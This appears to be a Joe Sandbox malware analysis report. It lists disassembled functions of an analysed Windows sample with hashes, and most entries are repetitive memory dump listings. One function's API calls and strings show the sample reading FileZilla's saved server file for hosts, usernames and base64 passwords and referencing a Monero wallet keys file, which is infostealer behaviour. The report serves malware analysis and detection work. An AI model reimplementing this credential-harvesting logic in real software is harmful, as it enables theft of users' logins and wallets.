Download Yara Rule

Strings

nQ|H, xrefs: 00B5C9A9

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: nQ|H
API String ID: 0-1817109747
Opcode ID: 0807b5043632ffdbf47e78b7070f30c93316d50f971b6e459bc61cd8b3e1d94c
Instruction ID: 9211eb891a713c94a45e3d1d26b51ea6974bc8e11cc8ef32836f3b94021de31c
Opcode Fuzzy Hash: 0807b5043632ffdbf47e78b7070f30c93316d50f971b6e459bc61cd8b3e1d94c
Instruction Fuzzy Hash: 08516CF3A183109BE3046A28DC4577BB7D5EBA4760F1A853DEAD8D7780E9398C018786

Function 00B22BEB Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

~f?_, xrefs: 00B22C7A

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ~f?_
API String ID: 0-1173674360
Opcode ID: e188442e1fff628f0501e18faf68ef5e7514f6e6f1311a6676b61bdc8d8859e1
Instruction ID: 7201eca0de061151e42f8ecf61a1c636abaaa01f5f904833fccaef82514560f0
Opcode Fuzzy Hash: e188442e1fff628f0501e18faf68ef5e7514f6e6f1311a6676b61bdc8d8859e1
Instruction Fuzzy Hash: 26516AF3A186148BE748AE29DC84377B7E1EFC4310F1A453DDB8997384DA35684587CA

Function 00AEC90F Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

AL?{, xrefs: 00AEC966

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID: AL?{
API String ID: 0-3831830120
Opcode ID: 7d0f28a46275e7f13dac177772a60ac29fd3c4be5db38a7f6e956b911cbe8f3e
Instruction ID: 8422aead84ce08c6d21407de967a8ca65bc5b7fdfccb886e0b5ecf68966eb86b
Opcode Fuzzy Hash: 7d0f28a46275e7f13dac177772a60ac29fd3c4be5db38a7f6e956b911cbe8f3e
Instruction Fuzzy Hash: 4A4159B7B182101FF31C9969EC69777668AD7D4720F2E423EEB86D7380EC695C0542A0

Function 00B69861 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e7a49992ca134b45417d546cc977d6d36e2343b4a970ba60404fde261d00f3
Instruction ID: 88fb65fc6b311437211bc144a9a416195edf293fc620468e96f9d1d57257005d
Opcode Fuzzy Hash: 41e7a49992ca134b45417d546cc977d6d36e2343b4a970ba60404fde261d00f3
Instruction Fuzzy Hash: 5E41BBF3D492385BD318293DFC057B6B7869B90661F1A823EDE8197B88FE78490543C4

Function 00BC9727 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a405d441641221bd24b99fdc77f4711c9e66797cf24a95793de6ffe6696b4d62
Instruction ID: e826a458654f7ed8fd143078368618dc4e6280badfcef3d73419d8b89cf67ab0
Opcode Fuzzy Hash: a405d441641221bd24b99fdc77f4711c9e66797cf24a95793de6ffe6696b4d62
Instruction Fuzzy Hash: 8B419CF3D082109BE3142929DC847BBB7E9DBD4320F3B423DEB9493B80E939580681C6

Function 00D25775 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6c11c9278f72a7f0ccabc0dcf175ee7f0917bdb09b8ababe15df75b23dd898
Instruction ID: 1aa001aaeae6ac95d22617e0fce99a85affb31670f0e42e13791ceebef7750fe
Opcode Fuzzy Hash: fc6c11c9278f72a7f0ccabc0dcf175ee7f0917bdb09b8ababe15df75b23dd898
Instruction Fuzzy Hash: D9313CB791CA30DFD2095A15FC40D7AF7D5DBA4328F22462ED5C787648E571CC4096E2

Function 00D1F27D Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 557dfc84bf4cfcfd0a6abc9b4808661af97507bad5f6b5925162e0d3cac6b611
Instruction ID: eca897f238d0200a065beda0fd914a59f2d9b513101134da026121fbae07afb2
Opcode Fuzzy Hash: 557dfc84bf4cfcfd0a6abc9b4808661af97507bad5f6b5925162e0d3cac6b611
Instruction Fuzzy Hash: D741A2B640D200EBD305BF15E9455BEF7E2EF94720F26482DE5D283604DB349881DBA7

Function 00CCF3B4 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 631381a2df7b063ab2d4b7acef2521338eb493270d901e7ced98c09728a7b296
Instruction ID: bb5a162e7003f4e9a0397564d477533bd2af6a4311bd7660d995dcffb7ec9378
Opcode Fuzzy Hash: 631381a2df7b063ab2d4b7acef2521338eb493270d901e7ced98c09728a7b296
Instruction Fuzzy Hash: 7631F2B211C7009FE709AF29E8866BEFBE4FF58320F56092DE2D582640DB755480CB57

Function 00B75ED6 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30ab4fc675421d461439280b88d601de14afff517015e20fe7289bcc56c02d7
Instruction ID: 5495cdc9587f20051e9f069949eb45c60cdfbcaeeeba32b3943d90a1b3c00806
Opcode Fuzzy Hash: e30ab4fc675421d461439280b88d601de14afff517015e20fe7289bcc56c02d7
Instruction Fuzzy Hash: 25210FF7E086205BF300AD2DEC847ABB795ABD4320F2B4439DB98A7381E5795C0582C5

Function 00879750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00870250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 00878DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00878E0B

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 008699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008699EC
Part of subcall function 008699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00869A11
Part of subcall function 008699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00869A31
Part of subcall function 008699C0: ReadFile.KERNEL32(000000FF,?,00000000,0086148F,00000000), ref: 00869A5A
Part of subcall function 008699C0: LocalFree.KERNEL32(0086148F), ref: 00869A90
Part of subcall function 008699C0: CloseHandle.KERNEL32(000000FF), ref: 00869A9A

Part of subcall function 00878E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00878E52

GetProcessHeap.KERNEL32(00000000,000F423F,00880DBA,00880DB7,00880DB6,00880DB3), ref: 00870362
RtlAllocateHeap.NTDLL(00000000), ref: 00870369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00870385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 00870393
StrStrA.SHLWAPI(00000000,<Port>), ref: 008703CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 008703DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00870419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 00870427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00870463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 00870475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 00870502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 0087051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 00870532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 0087054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00870562
lstrcat.KERNEL32(?,profile: null), ref: 00870571
lstrcat.KERNEL32(?,url: ), ref: 00870580
lstrcat.KERNEL32(?,00000000), ref: 00870593
lstrcat.KERNEL32(?,00881678), ref: 008705A2
lstrcat.KERNEL32(?,00000000), ref: 008705B5
lstrcat.KERNEL32(?,0088167C), ref: 008705C4
lstrcat.KERNEL32(?,login: ), ref: 008705D3
lstrcat.KERNEL32(?,00000000), ref: 008705E6
lstrcat.KERNEL32(?,00881688), ref: 008705F5
lstrcat.KERNEL32(?,password: ), ref: 00870604
lstrcat.KERNEL32(?,00000000), ref: 00870617
lstrcat.KERNEL32(?,00881698), ref: 00870626
lstrcat.KERNEL32(?,0088169C), ref: 00870635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00880DB2), ref: 0087068E

Strings

<Host>, xrefs: 0087037C
<Pass encoding="base64">, xrefs: 0087045A
login: , xrefs: 008705CA
browser: FileZilla, xrefs: 00870559
password: , xrefs: 008705FB
<Port>, xrefs: 008703C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 008702A4
profile: null, xrefs: 00870568
<User>, xrefs: 00870410
url: , xrefs: 00870577

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: c03728c1a2f9e2c962cf21609d0a15d2d4eeebfe899832c351f3171819f76fc8
Instruction ID: 073ddb67db184c524a1b8bd213747d9e6cdfd31f7df309311a87d51890b004f4
Opcode Fuzzy Hash: c03728c1a2f9e2c962cf21609d0a15d2d4eeebfe899832c351f3171819f76fc8
Instruction Fuzzy Hash: 46D10F719001099BCB08EBF8DD96DEE7778FB54700F448518F116E6199EF34EA46CB62

Function 00865960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 008647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00864839
Part of subcall function 008647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00864849

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 008659F8
StrCmpCA.SHLWAPI(?,0116ED88), ref: 00865A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00865B93
